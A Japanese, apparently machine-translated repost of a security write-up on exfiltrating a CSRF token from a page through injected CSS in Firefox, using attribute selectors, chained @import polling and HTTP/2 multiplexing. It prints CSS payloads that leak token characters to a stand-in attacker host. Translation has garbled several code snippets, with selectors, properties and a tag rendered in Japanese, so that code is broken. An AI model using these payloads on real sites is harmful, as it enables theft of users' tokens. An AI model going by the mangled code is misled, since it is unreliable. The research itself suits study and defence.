Firefox の CSS を使用してデータを盗む

Firefox の CSS を使用してデータを盗む

0x00 はじめに

数か月前、Firefox に脆弱性 (CVE-2019-17016) があることを発見しました。調査中に、Firefox の CSS を使用して単一のインジェクション ポイントからデータを盗むことができるデータ窃盗手法を発見しました。調査結果を皆さんと共有したいと思います。

0x01 背景

デモンストレーションの目的で、 <input>要素から CSRF トークンを盗むとします。

<input type="hidden" name="csrftoken" value="SOME_VALUE">

スクリプトを使用できないため (おそらく CSP が原因)、スタイルベースのインジェクションを探しています。従来のアプローチでは、次のように属性セレクタを使用します。

入力[名前='csrftoken'][値^='a'] {
  背景: url(//ATTACKER-SERVER/leak/a);
}
入力[名前='csrftoken'][値^='b'] {
  背景: url(//ATTACKER-SERVER/leak/b);
}
...
入力[名前='csrftoken'][値^='z'] {
  背景: url(//ATTACKER-SERVER/leak/z);
}

CSS ルールが適用されると、攻撃者は HTTP リクエストを受信して​​トークンの最初の文字を取得できます。次に、攻撃者は、以下に示すように、盗んだ最初の文字を含む別のスタイルシートを準備する必要があります。

入力[名前='csrftoken'][値^='aa'] {
  背景: url(//ATTACKER-SERVER/leak/aa);
}
入力[名前='csrftoken'][値^='ab'] {
  背景: url(//ATTACKER-SERVER/leak/ab);
}
...
入力[名前='csrftoken'][値^='az'] {
  背景: url(//ATTACKER-SERVER/leak/az);
}

通常、攻撃者は、後続のスタイルシートを提供するために、 <iframe>にすでに読み込まれているページを再読み込みする必要があります。

2018 年、Pepe Vila 氏は、Chrome の CSS 再帰インポートを悪用して、単一の注入ポイントで同じタスクを達成するという非常に優れたアイデアを思いつきました。 2019 年、Nathanial Lattimer (@d0nutptr) が、少し工夫を加えて同じ手法を再提案しました。以下では、この記事のアイディアに近い Lattimer の方法を簡単にまとめます (ただし、この調査中に Lattimer の以前の研究を知らなかったため、車輪の再発明だと思われる方もいるかもしれません)。

つまり、最初の注入では一連のimportが使用されます。

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

中心となる考え方は次のとおりです。

1. 最初は、最初の@importのみがスタイルシートを返し、他のステートメントは接続をブロックする状態になります。

2. 最初の@importスタイルシートを返しますが、トークンの最初の文字が漏れてしまいます。

3. 漏洩した最初のトークンがATTACKER-SERVERに到達すると、2 番目のimportブロックを停止し、最初の文字を含むスタイルシートを返して、2 番目の文字を漏洩させようとします。

4. 2 番目に漏洩した文字がATTACKER-SERVERに到達すると、3 番目のimportブロックを停止します。

この手法が機能するのは、Chrome がimport非同期的に処理するためです。そのため、 importがブロックを停止すると、Chrome は直ちにステートメントを解析してルールを適用します。

0x02 Firefoxとスタイルシートの処理

上記の方法は、スタイルシートを Chrome とはまったく異なる方法で処理する Firefox では機能しません。ここでは、いくつかの事例を使ってその違いを説明します。

まず、Firefox はスタイルシートを同期的に処理します。したがって、スタイルシートに複数のimportがある場合、Firefox はすべてのimportが処理された場合にのみ CSS ルールを適用します。次のケースを考えてみましょう。

<スタイル>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</スタイル>

最初の@importページの背景を青に設定する CSS ルールを返し、後続のimportがブロッキング状態 (つまり、何も返されず、HTTP 接続がハングする) であるとします。 Chrome ではページがすぐに青色に変わりますが、Firefox では何も起こりません。

これを修正するには、すべてのimport別々の<style>要素に配置します。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

上記のコードでは、Firefox はすべてのスタイルシートを個別に処理するため、ページはすぐに青色に変わり、その他のimportバックグラウンドで処理されます。

しかし、ここで別の問題が発生します。10 文字を含むトークンを盗むとします。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox はすぐに 10 件のimportをキューに追加します。最初のimportを処理した後、Firefox は既知の文字列を含む別のリクエストをキューに追加します。ここでの問題は、リクエストがキューの最後に追加されることです。デフォルトでは、ブラウザには同じサーバーへの同時接続が 6 つまでという制限があります。したがって、サーバーへの接続がすでに 6 つブロックされているため、既知の文字を含むリクエストはターゲット サーバーに到達せず、最終的にデッドロックが発生します。

0x03 HTTP/2

6 つの接続の制限は TCP 層によって決定されるため、単一のサーバーに対して同時に存在できる TCP 接続は 6 つだけです。この場合、HTTP/2 が役に立つと思います。 HTTP/2 には多くの利点があります。たとえば、単一の接続を介して複数の HTTP リクエストを送信できるため (多重化とも呼ばれます)、パフォーマンスが大幅に向上します。

Firefox では、単一の HTTP/2 接続に対する同時リクエストの数も制限されていますが、デフォルトではその制限は100です (具体的な設定については、 about:confignetwork.http.spdy.default-concurrentを参照してください)。より多くの同時実行が必要な場合は、別のホスト名を使用して、Firefox に 2 番目の TCP 接続を強制的に作成させることができます。たとえば、 https://localhost:3000へのリクエストを100https://127.0.0.1:3000へのリクエストを50作成すると、Firefox は 2 つの TCP 接続を作成します。

0x04 搾取

これで準備はすべて整いました。主なエクスプロイトのシナリオは次のとおりです。

1. エクスプロイトコードは HTTP/2 に基づいています。

2. /polling/:session/:indexエンドポイントは CSS を返す可能性があり、 :index文字がリークされます。このリクエストは、前のリクエストがindex-1文字を正常にリークするまでブロックされます。 :sessionパス パラメータは、複数の攻撃動作を区別するために使用されます。

3. /leak/:session/:valueエンドポイントを介してトークン全体を漏洩します。ここで:value最後の文字だけではなく、取得された完全な値です。

4. Firefox に同じサーバーへの 2 つの TCP 接続を強制的に開始させるために、ここではhttps://localhost:3000https://127.0.0.1:3000という 2 つのエンドポイントが使用されます。

5. エンドポイント/generateサンプル コードを生成するために使用されます。

この方法でcsrftoken盗むことを目的としたテスト プラットフォームを作成しました。ここから直接アクセスできます。

さらに、PoC コードも GitHub でホストしており、攻撃プロセスはここにあるビデオで確認できます。

興味深いことに、HTTP/2 を使用しているため、攻撃は非常に高速で、トークン全体を 3 秒以内に取得できます。

0x05 概要

この記事では、ページをリロードせずに CSS 経由でデータを盗むためにインジェクション ポイントを悪用する方法を説明しました。ここで重要な点は 2 つあります。

1. @importルールを複数のスタイルシートに分割して、後続のimportによってブラウザがスタイルシート全体の処理をブロックしないようにします。

2. TCP 同時接続制限を回避するには、HTTP/2 を介して攻撃を開始する必要があります。

以上が、Firefox ブラウザで CSS を使用してデータを盗む方法についてご紹介しました。お役に立てれば幸いです。123WORDPRESS.COM ウェブサイトをご愛顧いただき、誠にありがとうございます。

<<:  DockerはClickHouseをインストールし、データテストを初期化します

>>:  入力テキスト ボックスと画像検証コードの位置合わせの問題 (画像は常に入力より 1 つ上になります)

推薦する

docker-compose を使用して Clickhouse をすばやくデプロイする方法のチュートリアル

ClickHouse は、オープンソースの列指向 DBMS (Yandex によって開発) です。 ...

リモートDockerを使用した統合テスト環境の構築手順

需要背景チームには統合テストが必要であり、そのためには、mysql や rabbitmq などのミド...

Win10 DVWA のダウンロード、インストール、構成のグラフィック チュートリアルの詳細な説明 (初心者向け学習侵入)

コンピュータ システムが再インストールされ、侵入テスト学習環境 DVWA を再インストールする必要が...

CSS3 を使用して中心点の周りに要素を配置する方法の例

この記事では、CSS3 を使用して中心点を中心に要素をレイアウトする方法の例を紹介します。詳細は次の...

MySQL での大規模トランザクションによって発生する挿入の遅延ケースの分析

【質問】 INSERT 文は最も一般的な SQL 文の 1 つです。最近、MySQL サーバーが同時...

Vuex のモジュール化と名前空間の例のデモ

1. 目的:コードの保守が容易になり、さまざまなデータの分類が明確になります。 2. store/i...

VueプロジェクトにPWAを導入する手順

目次1. 依存関係をインストールする2. vue.config.js ファイルで pwa を設定しま...

MySQL 5.7を完全にアンインストールするための詳細な手順

この記事は主に、MySQLを再インストールする際のクリーンでないアンインストールのさまざまな問題をま...

手書きの Vue2.0 データハイジャックの例

目次1: webpackをビルドする2. データハイジャック3: まとめ1: webpackをビルド...

MySQL フェイルオーバー ノート: アプリケーション対応設計の詳細な説明

1. はじめに周知のように、データベース ミドルウェアの読み取り/書き込み分離のアプリケーション シ...

CentOS システムでの JDK のインストールと設定の概要

目次序文OpenJDKの確認とアンインストールダウンロードした圧縮パッケージを使用してJDKをインス...

Ajax responseText による JSON データの解析のケース スタディ

ajax 処理後にサーバーから返される responseText が JSON データであるという問...

MySQLデータベースの増分バックアップのアイデアと方法

MySQL データベースの増分バックアップを実行するには、データベース構成ファイル /etc/my....

docker を使用した pxc クラスターのインストールに関する詳細なチュートリアル

目次序文事前準備ディレクトリを作成するcustom.cnf を作成する証明書を作成するpxc クラス...

Alibaba Cloud SSHリモート接続がしばらくすると切断される問題を解決

問題の再現Alibaba Cloud Server は、Finalshell リモート接続を使用して...